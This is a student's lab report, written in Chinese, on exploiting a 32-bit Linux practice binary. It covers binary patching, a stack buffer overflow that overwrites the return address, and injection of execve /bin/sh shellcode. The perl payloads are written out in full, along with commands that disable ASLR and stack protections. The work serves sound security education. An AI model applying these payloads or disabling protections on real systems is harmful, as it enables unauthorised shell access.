20211920 2021-2022-2 《网络攻防实践》实践九报告

1.实践内容

1.实践目标

本次实践的对象是一个名为pwn1的linux可执行文件。
该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。
该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。

三个实践内容如下:

手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
注入一个自己制作的shellcode并运行这段shellcode。

2.实验要求

掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码
掌握反汇编与十六进制编程器
能正确修改机器指令改变程序执行流程
能正确构造payload进行bof攻击

反汇编

  • 编程原理
    通常,编写程序是利用高级语言如C,C++,Delphi等高级语言进行编程的,然后再经过编译程序生成可以被计算机系统直接执行的文件(机器语言)。反汇编即是指将这些执行文件反编译还原成汇编语言或其他语言。但通常反编译出来的程序与原程序会存在些许不同,虽然执行效果相同,但程序代码会发生很大的变化,要读懂反汇编需要有扎实的高级语言编写功底和汇编功底。

  • 折叠编辑本段作用及方式
    折叠作用
    有许多程序可以进行逆向操作即反编译以求修改,例如Flash的文件生成的SWF文件,可以被反汇编成Flash原码,但可以发现与原程序代码发生了很大变化。
    网络上的许多"免费软件",PSP PS NDS游戏机的破解和苹果iOS系统的越狱都跟反汇编息息相关。

  • 折叠静态反汇编
    静态反汇编是从反汇编出来的程序清单上分析,从提示信息入手进行分析。大多数软件在设计时,都采用了人机对话方式。所谓人机对话,即在软件运行过程中,需要由用户选择的地方,软件即显示相应的提示信息,并等待用户按键选择。而在执行完某一段程序之后,便显示一串提示信息,以反映该段程序运行后的状态,是正常运行,还是出现错误,或者提示用户进行下一步工作的帮助信息。为此,如果我们对静态反汇编出来的程序清单进行阅读,可了解软件的编程思路,以便顺利破解该软件,也就是我们常说的破解版即盗版。反汇编亦是外挂设计最重要的环节,可以说没有反汇编就没有外挂。 常用的静态分析工具是W32DASM、PEiD、FileInfo、 Hex Rays Ida和HIEW等。

  • 折叠编辑本段相关工具
    反汇编工具如:OD、IDA Pro、radare2、DEBUG、C32等。
    反汇编可以通过反汇编的一些软件实现,比如DEBUG就能实现反汇编,当DEBUG文件位置设置为-u时,即可实现反汇编。 而使用OD实现反汇编时,杀毒软件可能会报告有病毒与木马产生,此时排除即可,且使用OD需要有扎实的基础才能看懂。

2.实践过程

1.三个实践内容如下:

(1)手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。

  • 1.反汇编
首先将pwn1文件备份,使用objdump -d pwn1命令(反汇编test中的需要执行指令的那些section)对其进行反汇编。

  • 2.找到main函数和getshell函数的相关信息,可以看到,在主函数里,运行到call的时候(即80484b5行),调用了foo函数
  • 3.eip应该指向80484ba+fffffd7=8048491即foo函数的入口地址,所以我们需要修改ffffffd7使执行call后EIP指向getShell函数(804847d)入口,因此需要将ffffffd7改为ffffffc3(804847d - 80484ba = ffffffc3)。
  • 4.对pwn2进行编辑:vim进入pwn2后发现是乱码,通过:%!xxd将文件改为十六进制


  • 5.通过/d7查找d7,找到后修改为c3,然后使用:%!xxd -r进行格式转化后保存


  • 6.运行成功!

(2)利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。

  • 将pwn3反汇编后查看foo函数,该函数的功能是调用gets读进用户输入的字符串然后用puts函数将字符串输出,但是该函数并没有检查用户输入,所以存在BOF漏洞。
EAX 是"累加器"(accumulator), 它是很多加法乘法指令的缺省寄存器。
ESP 专门用作堆栈指针
EBP是"基址指针"

lea -0x1c(%ebp),%eax的意思是为输入的字符串留28个字符。
观察反汇编出的汇编代码得知预留的局部变量的空间为0x38,而gets函数将读取到的字符串存放到1c(28个字节)处,根据堆栈结构,当输入字符串长度达到36时,第33~36个字节将会覆盖到EIP中。

  • 验证程序漏洞
    可以看到EIP寄存器的内容为0x35353535(“5”的ASCLL码的十六进制为35),验证第33~36个字节覆盖了EIP的内容。
  • 解决程序漏洞
    通过分析可知,只需要将33-36位的值改成getShell的首地址就可以。
    使用perl生成十六进制字符串文件“input”,然后用管道将其变为pwn1的输入。
perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input pwn3

使用xxd input_pwn3进行检查,正确

破解成功!

(3)注入一个自己制作的shellcode并运行这段shellcode。

  • shellcode的构造
    (1)使用execstack命令对pwn4进行设置
execstack -s pwn4 //设置堆栈可执行 
execstack -q pwn4 //查询文件的堆栈是否可执行

关闭地址随机化(如果不关闭,每次操作地址都会变化

more /proc/sys/kernel/randomize_va_space //查看随机化是否关闭 
echo "0" > /proc/sys/kernel/randomize_va_space //关闭随机化
开启输出2,关闭输出0

(2)构造要注入的shellcode

perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode

运行(cat input_shellcode;cat) | ./pwn4
在另外一个窗口ps -ef | grep pwn可以看到当前运行pwn4的进程号为25574

2、确定retaddr的值

  • 根据pwn4的进程号使用gdb对其反编译进行调试,使用disassemble foo 对foo函数进行反汇编,断点应该放到ret之前(因为返回的话就会执行POP EIP),ret指令的地址为0x080484ae,然后使用 break *0x080484ae 来设置断点。

  • 在另一个终端回车,这样程序就会执行之后在断点处停下来,再在gdb调试的终端输入c继续运行程序

  • info r esp查看esp寄存器地址,查找到当前栈顶指针为0xffffd50c,以x/16x 0xffffd50c命令查找栈顶指针后面十六字节内容
    根据栈顶指针值,确定retaddr的值应该为
    0xffffd50c + 0x00000004=0xffffd510。

构造shellcode:32个A+retaddr+nop+shellcode,如图所示
修改注入代码的覆盖地址

perl -e 'print "A" x 32;print"\x10\xd5\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode

将其作为pwn4的输入,运行pwn4,得到shell。

3.学习中遇到的问题及解决

  • 问题1:gdb无法下载

  • 问题1解决方案:

  • 问题2:使用sudo apt-get install execstack,显示定位不到软件包。

  • 问题1解决方案:更换源
    打开etc/apt/sources.list
    文件后面添加
    deb http://http.kali.org/ moto main non-free contrib
    deb-src http://http.kali.org/ moto main non-free contrib
    deb http://security.kali.org/ moto/updates main contrib non-free
    deb-src http://security.kali.org/ moto/updates main contrib non-free
    然后sudo apt-get update即可

4.实践总结

本次实验相对于前几次实验有些许困难,但还是努力完成了,了解了更多关于汇编语言的知识

参考资料

https://blog.csdn.net/fengyuanye/article/details/51114736
https://blog.csdn.net/Abvcw_13579/article/details/101733515

posted @ 2022-05-14 17:02  张婷20211920  阅读(35)  评论(0编辑  收藏  举报